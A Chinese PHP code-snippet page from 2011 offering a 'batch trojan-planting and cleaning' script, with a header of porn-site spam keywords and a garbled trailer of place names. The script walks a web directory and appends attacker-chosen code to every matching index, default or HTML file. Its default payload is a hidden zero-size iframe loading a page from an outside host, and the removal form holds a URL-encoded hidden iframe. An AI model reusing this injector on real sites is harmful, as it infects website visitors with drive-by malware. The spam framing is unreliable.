最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

php下批量掛馬和批量清馬代碼

 更新時(shí)間:2011年02月27日 01:49:24   作者:  
批量掛馬和批量清馬程序PHP版,所以黑客工具的對立性,在黑客手里是破壞工具,在維護(hù)的站長來說是修正工具。
復(fù)制代碼 代碼如下:

<?php
function gmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
gmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = @fopen (”$file”, “a”);
@fwrite($handle, “$mm”);
@fclose($handle);
echo “已掛馬文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}
function qmfun($path=”.”)
{
$d = @dir($path);
while(false !== ($v = $d->read())) {
if($v == “.” || $v == “..”) continue;
$file = $d->path.”/”.$v;
if(@is_dir($file)) {
qmfun($file);
} else {
if(@ereg(stripslashes($_POST["key"]),$file)) {
$mm=stripcslashes( trim( $_POST[mm] ) );
$handle = fopen (”$file”, “rb”);
$oldcontent=fread($handle,filesize($file));
fclose($handle);
$newcontent=str_replace($mm,””,$oldcontent);
$fw = fopen (”$file”, “wb”);
fwrite($fw,$newcontent,strlen($newcontent));
fclose($fw);
echo “已清馬文件:$file\n<br>”;

}
}
}
$d->close();
echo ” “;
}

if ($_GET['action']=='gm') {
set_time_limit(0);
gmfun($_POST["dir"]);
}
if ($_GET['action']=='qm') {
set_time_limit(0);
qmfun($_POST["dir"]);
}
?>
<title>批量掛馬(清馬)程序php版</title><body>
<form action=”<?$PHP_SELF?>?action=gm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>網(wǎng)站批量掛馬程序php版
BY n3tl04d</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路徑:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相對路徑)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>掛馬關(guān)鍵字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—–正則表達(dá)式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想寫入的掛馬代碼:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
&nbsp;&nbsp;
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>
<form action=”<?$PHP_SELF?>?action=qm” method=”post”>
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清馬工具php版
BY 隨風(fēng)而去(LST)</font></div>
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>路徑:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相對路徑)
<td> </tr>
<tr>
<td height=”27″ bgcolor=”#CCCCCC”>清馬關(guān)鍵字:</td>
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—–正則表達(dá)式匹配——
<td colspan=”2″ height=”1″></td>
<td> </tr>
<tr>
<td height=”25″ bgcolor=”#CCCCCC”>想清除的掛馬代碼:</td>
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'>
<td> </tr>
<tr>
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”>
<input type=”submit” name=”Submit” value=”提交”>
&nbsp;&nbsp;
<input type=”reset” name=”Submit2″ value=”重置”>
</div></td>
<td> </tr>
</table>
</form>

相關(guān)文章

  • PHP內(nèi)置的Math函數(shù)效率測試

    PHP內(nèi)置的Math函數(shù)效率測試

    這篇文章主要介紹了PHP內(nèi)置的Math函數(shù)效率測試,以實(shí)例形式測試了相關(guān)的PHP內(nèi)置數(shù)學(xué)運(yùn)算函數(shù)的執(zhí)行時(shí)間,分析其運(yùn)行效率,需要的朋友可以參考下
    2014-12-12
  • PHP實(shí)現(xiàn)數(shù)組的笛卡爾積運(yùn)算示例

    PHP實(shí)現(xiàn)數(shù)組的笛卡爾積運(yùn)算示例

    這篇文章主要介紹了PHP實(shí)現(xiàn)數(shù)組的笛卡爾積運(yùn)算,結(jié)合實(shí)例形式分析了php數(shù)組的笛卡爾積運(yùn)算相關(guān)實(shí)現(xiàn)與使用技巧,需要的朋友可以參考下
    2017-12-12
  • PHP中時(shí)間處理類Carbon的用法詳解

    PHP中時(shí)間處理類Carbon的用法詳解

    Carbon?是php的日期處理類庫(A?simple?PHP?API?extension?for?DateTime.),繼承了PHP的?Datetime?類。本文將詳細(xì)講解一下該類的使用,需要的可以參考一下
    2022-05-05
  • php學(xué)習(xí)之function的用法

    php學(xué)習(xí)之function的用法

    用戶自定義函數(shù)也稱自定義函數(shù),它們不是PHP提供的,是由程序員創(chuàng)建的.由于自己創(chuàng)建了這樣的函數(shù),所以就可以完全控制這些函數(shù).因此可以讓一個(gè)函數(shù)完全按照自己希望的方式運(yùn)行
    2012-07-07
  • PHP針對字符串開頭和結(jié)尾的判斷方法

    PHP針對字符串開頭和結(jié)尾的判斷方法

    這篇文章主要介紹了PHP針對字符串開頭和結(jié)尾的判斷方法,涉及php字符串操作的判斷、截取、判斷、比較等函數(shù)用法與注意事項(xiàng),需要的朋友可以參考下
    2016-07-07
  • php5.2 Json不能正確處理中文、GB編碼的解決方法

    php5.2 Json不能正確處理中文、GB編碼的解決方法

    json_encode對中文的處理是有問題,不能處理GB編碼,所有的GB編碼都會替換成空字符,下面有個(gè)不錯(cuò)的解決方法,大家可以參考下
    2014-03-03
  • php獲取本地圖片文件并生成xml文件輸出具體思路

    php獲取本地圖片文件并生成xml文件輸出具體思路

    本文將詳細(xì)介紹下php獲取本地圖片文件并生成xml文件輸出,代碼簡單實(shí)用,感興趣的朋友可以參考下哈,希望對你學(xué)習(xí)php有所幫助
    2013-04-04
  • php運(yùn)用memcache的完整實(shí)例

    php運(yùn)用memcache的完整實(shí)例

    這篇文章主要給大家介紹了關(guān)于php運(yùn)用memcache的完整實(shí)例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-01-01
  • php表單加入Token防止重復(fù)提交的方法分析

    php表單加入Token防止重復(fù)提交的方法分析

    這篇文章主要介紹了php表單加入Token防止重復(fù)提交的方法,結(jié)合實(shí)例形式分析了Token防止重復(fù)提交的原理與使用技巧,需要的朋友可以參考下
    2016-10-10
  • php版微信js-sdk支付接口類用法示例

    php版微信js-sdk支付接口類用法示例

    這篇文章主要介紹了php版微信js-sdk支付接口類用法,結(jié)合實(shí)例形式分析了php版微信js-sdk支付接口類的定義與相關(guān)使用技巧,需要的朋友可以參考下
    2016-10-10

最新評論

新营市| 什邡市| 大洼县| 讷河市| 措美县| 曲阜市| 黄骅市| 阳泉市| 泰州市| 鹤山市| 楚雄市| 伊吾县| 调兵山市| 丰顺县| 香格里拉县| 鹤庆县| 杂多县| 拉孜县| 沙洋县| 龙南县| 龙泉市| 南通市| 嵊州市| 行唐县| 长白| 惠州市| 开封市| 虎林市| 化德县| 时尚| 武山县| 兴业县| 广饶县| 赤峰市| 镇沅| 罗定市| 凉城县| 靖边县| 普宁市| 深水埗区| 郯城县|